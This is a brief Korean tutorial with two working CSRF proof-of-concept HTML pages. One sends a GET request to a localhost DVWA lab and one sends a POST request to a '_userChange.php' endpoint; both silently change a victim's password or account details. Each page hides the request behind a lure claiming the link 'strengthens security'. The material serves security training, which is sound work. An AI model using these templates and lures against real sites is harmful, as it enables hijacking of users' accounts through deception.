CSRF
csrf 예제
CSRF
아래는 Java Script Ajax를 이용한 CSRF 예제 이다.
- GET 방식인 경우
csrf_get.html
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">
function poc() {
var host='localhost';
var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",req_uri,true);
xmlhttp.withCredentials = "true";
xmlhttp.send();
alert('Done!!');
}
</script>
<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>
- POST 방식인 경우
먼저 Burp Suite로 웹서버로 전송되는 파라미터 값들을 확인하자.
csrf_post.html
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">
function poc() {
var host='localhost';
const formData = new FormData();
formData.append('pw', 'hacker');
formData.append('pwc', 'test2');
formData.append('name', 'test1');
formData.append('address', 'addr1');
var req_uri = "https://" + host + "/_userChange.php";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST",req_uri,true);
xmlhttp.withCredentials = "true";
xmlhttp.send(formData);
alert('Done!!');
}
</script>
<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>